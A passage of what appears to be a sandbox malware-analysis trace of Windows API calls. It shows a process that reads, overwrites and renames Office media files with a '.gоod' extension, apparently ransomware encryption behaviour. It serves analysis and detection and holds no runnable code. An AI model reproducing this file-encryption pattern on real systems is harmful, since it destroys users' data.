lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0155.362] GetFileType (hFile=0x808) returned 0x1 [0155.363] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee200) returned 1 [0155.363] GetFileType (hFile=0x808) returned 0x1 [0155.363] WriteFile (in: hFile=0x808, lpBuffer=0x32a60b0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fbee418, lpOverlapped=0x0 | out: lpBuffer=0x32a60b0*, lpNumberOfBytesWritten=0x1fbee418*=0x1010, lpOverlapped=0x0) returned 1 [0155.363] CloseHandle (hObject=0x808) returned 1 [0155.363] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\fre\\StartMenu_Win10_RTL.mp4", nBufferLength=0x105, lpBuffer=0x1fbedec0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\fre\\StartMenu_Win10_RTL.mp4", lpFilePart=0x0) returned 0x42 [0155.363] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\fre\\StartMenu_Win10_RTL.mp4.gоod", nBufferLength=0x105, lpBuffer=0x1fbedec0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\fre\\StartMenu_Win10_RTL.mp4.gоod", lpFilePart=0x0) returned 0x47 [0155.363] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee350) returned 1 [0155.363] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\fre\\StartMenu_Win10_RTL.mp4" (normalized: "c:\\program files\\microsoft office\\root\\fre\\startmenu_win10_rtl.mp4"), fInfoLevelId=0x0, lpFileInformation=0x1fbee430 | out: lpFileInformation=0x1fbee430*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x11567da2, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x11567da2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x58d20820, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1ce2b)) returned 1 [0155.363] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee310) returned 1 [0155.363] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\fre\\StartMenu_Win10_RTL.mp4" (normalized: "c:\\program files\\microsoft office\\root\\fre\\startmenu_win10_rtl.mp4"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\fre\\StartMenu_Win10_RTL.mp4.gоod" (normalized: "c:\\program files\\microsoft office\\root\\fre\\startmenu_win10_rtl.mp4.gоod")) returned 1 [0155.364] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\fre\\StartMenu_Win7.wmv", nBufferLength=0x105, lpBuffer=0x1fbedec0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\fre\\StartMenu_Win7.wmv", lpFilePart=0x0) returned 0x3d [0155.364] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee390) returned 1 [0155.364] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\fre\\StartMenu_Win7.wmv" (normalized: "c:\\program files\\microsoft office\\root\\fre\\startmenu_win7.wmv"), fInfoLevelId=0x0, lpFileInformation=0x34947e8 | out: lpFileInformation=0x34947e8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x11541b08, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x11541b08, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x115b4243, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x7600b)) returned 1 [0155.364] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee350) returned 1 [0155.364] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\fre\\StartMenu_Win7.wmv", nBufferLength=0x105, lpBuffer=0x1fbedd70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\fre\\StartMenu_Win7.wmv", lpFilePart=0x0) returned 0x3d [0155.365] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee290) returned 1 [0155.365] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\fre\\StartMenu_Win7.wmv" (normalized: "c:\\program files\\microsoft office\\root\\fre\\startmenu_win7.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0155.365] GetFileType (hFile=0x808) returned 0x1 [0155.365] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee200) returned 1 [0155.365] GetFileType (hFile=0x808) returned 0x1 [0155.365] SetFilePointer (in: hFile=0x808, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fbee3e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fbee3e8*=0) returned 0x1000 [0155.365] ReadFile (in: hFile=0x808, lpBuffer=0x3494bf0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbee3b8, lpOverlapped=0x0 | out: lpBuffer=0x3494bf0*, lpNumberOfBytesRead=0x1fbee3b8*=0x1000, lpOverlapped=0x0) returned 1 [0155.366] CloseHandle (hObject=0x808) returned 1 [0155.367] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\fre\\StartMenu_Win7.wmv", nBufferLength=0x105, lpBuffer=0x1fbedd70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\fre\\StartMenu_Win7.wmv", lpFilePart=0x0) returned 0x3d [0155.367] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee290) returned 1 [0155.367] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\fre\\StartMenu_Win7.wmv" (normalized: "c:\\program files\\microsoft office\\root\\fre\\startmenu_win7.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0155.367] GetFileType (hFile=0x808) returned 0x1 [0155.367] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee200) returned 1 [0155.367] GetFileType (hFile=0x808) returned 0x1 [0155.367] SetFilePointer (in: hFile=0x808, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fbee3e8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fbee3e8*=0) returned 0x7600b [0155.367] WriteFile (in: hFile=0x808, lpBuffer=0x3496040*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fbee2d8, lpOverlapped=0x0 | out: lpBuffer=0x3496040*, lpNumberOfBytesWritten=0x1fbee2d8*=0x10, lpOverlapped=0x0) returned 1 [0155.368] CloseHandle (hObject=0x808) returned 1 [0155.369] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\fre\\StartMenu_Win7.wmv", nBufferLength=0x105, lpBuffer=0x1fbedd70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\fre\\StartMenu_Win7.wmv", lpFilePart=0x0) returned 0x3d [0155.369] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee290) returned 1 [0155.369] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\fre\\StartMenu_Win7.wmv" (normalized: "c:\\program files\\microsoft office\\root\\fre\\startmenu_win7.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0155.369] GetFileType (hFile=0x808) returned 0x1 [0155.369] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee200) returned 1 [0155.369] GetFileType (hFile=0x808) returned 0x1 [0155.369] ReadFile (in: hFile=0x808, lpBuffer=0x3498410, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbee368, lpOverlapped=0x0 | out: lpBuffer=0x3498410*, lpNumberOfBytesRead=0x1fbee368*=0x1000, lpOverlapped=0x0) returned 1 [0155.503] CloseHandle (hObject=0x808) returned 1 [0155.503] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\fre\\StartMenu_Win7.wmv", nBufferLength=0x105, lpBuffer=0x1fbedd70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\fre\\StartMenu_Win7.wmv", lpFilePart=0x0) returned 0x3d [0155.503] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee290) returned 1 [0155.503] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\fre\\StartMenu_Win7.wmv" (normalized: "c:\\program files\\microsoft office\\root\\fre\\startmenu_win7.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0155.503] GetFileType (hFile=0x808) returned 0x1 [0155.503] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee200) returned 1 [0155.503] GetFileType (hFile=0x808) returned 0x1 [0155.503] WriteFile (in: hFile=0x808, lpBuffer=0x330ee20*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fbee418, lpOverlapped=0x0 | out: lpBuffer=0x330ee20*, lpNumberOfBytesWritten=0x1fbee418*=0x1010, lpOverlapped=0x0) returned 1 [0155.504] CloseHandle (hObject=0x808) returned 1 [0155.504] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\fre\\StartMenu_Win7.wmv", nBufferLength=0x105, lpBuffer=0x1fbedec0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\fre\\StartMenu_Win7.wmv", lpFilePart=0x0) returned 0x3d [0155.504] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\fre\\StartMenu_Win7.wmv.gоod", nBufferLength=0x105, lpBuffer=0x1fbedec0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\fre\\StartMenu_Win7.wmv.gоod", lpFilePart=0x0) returned 0x42 [0155.504] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee350) returned 1 [0155.504] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\fre\\StartMenu_Win7.wmv" (normalized: "c:\\program files\\microsoft office\\root\\fre\\startmenu_win7.wmv"), fInfoLevelId=0x0, lpFileInformation=0x1fbee430 | out: lpFileInformation=0x1fbee430*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x11541b08, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x11541b08, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x58e77d67, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x7601b)) returned 1 [0155.504] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee310) returned 1 [0155.504] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\fre\\StartMenu_Win7.wmv" (normalized: "c:\\program files\\microsoft office\\root\\fre\\startmenu_win7.wmv"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\fre\\StartMenu_Win7.wmv.gоod" (normalized: "c:\\program files\\microsoft office\\root\\fre\\startmenu_win7.wmv.gоod")) returned 1 [0155.505] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\fre\\StartMenu_Win7_RTL.wmv", nBufferLength=0x105, lpBuffer=0x1fbedec0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\fre\\StartMenu_Win7_RTL.wmv", lpFilePart=0x0) returned 0x41 [0155.505] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee390) returned 1 [0155.505] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\fre\\StartMenu_Win7_RTL.wmv" (normalized: "c:\\program files\\microsoft office\\root\\fre\\startmenu_win7_rtl.wmv"), fInfoLevelId=0x0, lpFileInformation=0x334a408 | out: lpFileInformation=0x334a408*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x11541b08, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x11541b08, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1160070a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xc8b14)) returned 1 [0155.505] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee350) returned 1 [0155.505] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\fre\\StartMenu_Win7_RTL.wmv", nBufferLength=0x105, lpBuffer=0x1fbedd70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\fre\\StartMenu_Win7_RTL.wmv", lpFilePart=0x0) returned 0x41 [0155.505] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee290) returned 1 [0155.505] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\fre\\StartMenu_Win7_RTL.wmv" (normalized: "c:\\program files\\microsoft office\\root\\fre\\startmenu_win7_rtl.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0155.505] GetFileType (hFile=0x808) returned 0x1 [0155.505] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee200) returned 1 [0155.505] GetFileType (hFile=0x808) returned 0x1 [0155.505] SetFilePointer (in: hFile=0x808, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fbee3e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fbee3e8*=0) returned 0x1000 [0155.506] ReadFile (in: hFile=0x808, lpBuffer=0x334a830, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbee3b8, lpOverlapped=0x0 | out: lpBuffer=0x334a830*, lpNumberOfBytesRead=0x1fbee3b8*=0x1000, lpOverlapped=0x0) returned 1 [0155.507] CloseHandle (hObject=0x808) returned 1 [0155.507] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\fre\\StartMenu_Win7_RTL.wmv", nBufferLength=0x105, lpBuffer=0x1fbedd70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\fre\\StartMenu_Win7_RTL.wmv", lpFilePart=0x0) returned 0x41 [0155.507] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee290) returned 1 [0155.507] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\fre\\StartMenu_Win7_RTL.wmv" (normalized: "c:\\program files\\microsoft office\\root\\fre\\startmenu_win7_rtl.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0155.507] GetFileType (hFile=0x808) returned 0x1 [0155.507] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee200) returned 1 [0155.507] GetFileType (hFile=0x808) returned 0x1 [0155.507] SetFilePointer (in: hFile=0x808, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fbee3e8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fbee3e8*=0) returned 0xc8b14 [0155.507] WriteFile (in: hFile=0x808, lpBuffer=0x334c150*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fbee2d8, lpOverlapped=0x0 | out: lpBuffer=0x334c150*, lpNumberOfBytesWritten=0x1fbee2d8*=0x10, lpOverlapped=0x0) returned 1 [0155.509] CloseHandle (hObject=0x808) returned 1 [0155.509] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\fre\\StartMenu_Win7_RTL.wmv", nBufferLength=0x105, lpBuffer=0x1fbedd70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\fre\\StartMenu_Win7_RTL.wmv", lpFilePart=0x0) returned 0x41 [0155.509] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee290) returned 1 [0155.509] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\fre\\StartMenu_Win7_RTL.wmv" (normalized: "c:\\program files\\microsoft office\\root\\fre\\startmenu_win7_rtl.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0155.509] GetFileType (hFile=0x808) returned 0x1 [0155.509] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee200) returned 1 [0155.509] GetFileType (hFile=0x808) returned 0x1 [0155.509] ReadFile (in: hFile=0x808, lpBuffer=0x334e418, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbee368, lpOverlapped=0x0 | out: lpBuffer=0x334e418*, lpNumberOfBytesRead=0x1fbee368*=0x1000, lpOverlapped=0x0) returned 1 [0156.045] CloseHandle (hObject=0x808) returned 1 [0156.045] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\fre\\StartMenu_Win7_RTL.wmv", nBufferLength=0x105, lpBuffer=0x1fbedd70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\fre\\StartMenu_Win7_RTL.wmv", lpFilePart=0x0) returned 0x41 [0156.045] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee290) returned 1 [0156.045] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\fre\\StartMenu_Win7_RTL.wmv" (normalized: "c:\\program files\\microsoft office\\root\\fre\\startmenu_win7_rtl.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0156.045] GetFileType (hFile=0x808) returned 0x1 [0156.045] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee200) returned 1 [0156.045] GetFileType (hFile=0x808) returned 0x1 [0156.045] WriteFile (in: hFile=0x808, lpBuffer=0x331a330*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fbee418, lpOverlapped=0x0 | out: lpBuffer=0x331a330*, lpNumberOfBytesWritten=0x1fbee418*=0x1010, lpOverlapped=0x0) returned 1 [0156.045] CloseHandle (hObject=0x808) returned 1 [0156.046] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\fre\\StartMenu_Win7_RTL.wmv", nBufferLength=0x105, lpBuffer=0x1fbedec0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\fre\\StartMenu_Win7_RTL.wmv", lpFilePart=0x0) returned 0x41 [0156.046] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\fre\\StartMenu_Win7_RTL.wmv.gоod", nBufferLength=0x105, lpBuffer=0x1fbedec0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\fre\\StartMenu_Win7_RTL.wmv.gоod", lpFilePart=0x0) returned 0x46 [0156.046] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee350) returned 1 [0156.046] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\fre\\StartMenu_Win7_RTL.wmv" (normalized: "c:\\program files\\microsoft office\\root\\fre\\startmenu_win7_rtl.wmv"), fInfoLevelId=0x0, lpFileInformation=0x1fbee430 | out: lpFileInformation=0x1fbee430*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x11541b08, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x11541b08, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x59388dd1, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xc8b24)) returned 1 [0156.046] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee310) returned 1 [0156.046] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\fre\\StartMenu_Win7_RTL.wmv" (normalized: "c:\\program files\\microsoft office\\root\\fre\\startmenu_win7_rtl.wmv"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\fre\\StartMenu_Win7_RTL.wmv.gоod" (normalized: "c:\\program files\\microsoft office\\root\\fre\\startmenu_win7_rtl.wmv.gоod")) returned 1 [0156.046] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\fre\\StartMenu_Win8.mp4", nBufferLength=0x105, lpBuffer=0x1fbedec0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\fre\\StartMenu_Win8.mp4", lpFilePart=0x0) returned 0x3d [0156.046] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee390) returned 1 [0156.046] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\fre\\StartMenu_Win8.mp4" (normalized: "c:\\program files\\microsoft office\\root\\fre\\startmenu_win8.mp4"), fInfoLevelId=0x0, lpFileInformation=0x34cbaa8 | out: lpFileInformation=0x34cbaa8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x115da4b2, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x115da4b2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x115da4b2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x19768)) returned 1 [0156.047] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee350) returned 1 [0156.047] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\fre\\StartMenu_Win8.mp4", nBufferLength=0x105, lpBuffer=0x1fbedd70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\fre\\StartMenu_Win8.mp4", lpFilePart=0x0) returned 0x3d [0156.047] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee290) returned 1 [0156.047] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\fre\\StartMenu_Win8.mp4" (normalized: "c:\\program files\\microsoft office\\root\\fre\\startmenu_win8.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0156.047] GetFileType (hFile=0x808) returned 0x1 [0156.047] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee200) returned 1 [0156.047] GetFileType (hFile=0x808) returned 0x1 [0156.047] SetFilePointer (in: hFile=0x808, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fbee3e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fbee3e8*=0) returned 0x1000 [0156.047] ReadFile (in: hFile=0x808, lpBuffer=0x34cbeb0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbee3b8, lpOverlapped=0x0 | out: lpBuffer=0x34cbeb0*, lpNumberOfBytesRead=0x1fbee3b8*=0x1000, lpOverlapped=0x0) returned 1 [0156.049] CloseHandle (hObject=0x808) returned 1 [0156.049] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\fre\\StartMenu_Win8.mp4", nBufferLength=0x105, lpBuffer=0x1fbedd70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\fre\\StartMenu_Win8.mp4", lpFilePart=0x0) returned 0x3d [0156.049] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee290) returned 1 [0156.049] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\fre\\StartMenu_Win8.mp4" (normalized: "c:\\program files\\microsoft office\\root\\fre\\startmenu_win8.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0156.049] GetFileType (hFile=0x808) returned 0x1 [0156.049] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee200) returned 1 [0156.049] GetFileType (hFile=0x808) returned 0x1 [0156.049] SetFilePointer (in: hFile=0x808, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fbee3e8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fbee3e8*=0) returned 0x19768 [0156.049] WriteFile (in: hFile=0x808, lpBuffer=0x34cd220*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fbee2d8, lpOverlapped=0x0 | out: lpBuffer=0x34cd220*, lpNumberOfBytesWritten=0x1fbee2d8*=0x10, lpOverlapped=0x0) returned 1 [0156.050] CloseHandle (hObject=0x808) returned 1 [0156.050] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\fre\\StartMenu_Win8.mp4", nBufferLength=0x105, lpBuffer=0x1fbedd70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\fre\\StartMenu_Win8.mp4", lpFilePart=0x0) returned 0x3d [0156.050] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee290) returned 1 [0156.050] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\fre\\StartMenu_Win8.mp4" (normalized: "c:\\program files\\microsoft office\\root\\fre\\startmenu_win8.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0156.050] GetFileType (hFile=0x808) returned 0x1 [0156.050] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee200) returned 1 [0156.050] GetFileType (hFile=0x808) returned 0x1 [0156.050] ReadFile (in: hFile=0x808, lpBuffer=0x34cf4d8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbee368, lpOverlapped=0x0 | out: lpBuffer=0x34cf4d8*, lpNumberOfBytesRead=0x1fbee368*=0x1000, lpOverlapped=0x0) returned 1 [0157.478] CloseHandle (hObject=0x808) returned 1 [0157.478] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\fre\\StartMenu_Win8.mp4", nBufferLength=0x105, lpBuffer=0x1fbedd70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\fre\\StartMenu_Win8.mp4", lpFilePart=0x0) returned 0x3d [0157.479] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee290) returned 1 [0157.479] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\fre\\StartMenu_Win8.mp4" (normalized: "c:\\program files\\microsoft office\\root\\fre\\startmenu_win8.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0157.479] GetFileType (hFile=0x808) returned 0x1 [0157.479] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee200) returned 1 [0157.479] GetFileType (hFile=0x808) returned 0x1 [0157.479] WriteFile (in: hFile=0x808, lpBuffer=0x3321168*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fbee418, lpOverlapped=0x0 | out: lpBuffer=0x3321168*, lpNumberOfBytesWritten=0x1fbee418*=0x1010, lpOverlapped=0x0) returned 1 [0157.479] CloseHandle (hObject=0x808) returned 1 [0157.479] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\fre\\StartMenu_Win8.mp4", nBufferLength=0x105, lpBuffer=0x1fbedec0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\fre\\StartMenu_Win8.mp4", lpFilePart=0x0) returned 0x3d [0157.479] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\fre\\StartMenu_Win8.mp4.gоod", nBufferLength=0x105, lpBuffer=0x1fbedec0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\fre\\StartMenu_Win8.mp4.gоod", lpFilePart=0x0) returned 0x42 [0157.479] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee350) returned 1 [0157.479] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\fre\\StartMenu_Win8.mp4" (normalized: "c:\\program files\\microsoft office\\root\\fre\\startmenu_win8.mp4"), fInfoLevelId=0x0, lpFileInformation=0x1fbee430 | out: lpFileInformation=0x1fbee430*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x115da4b2, 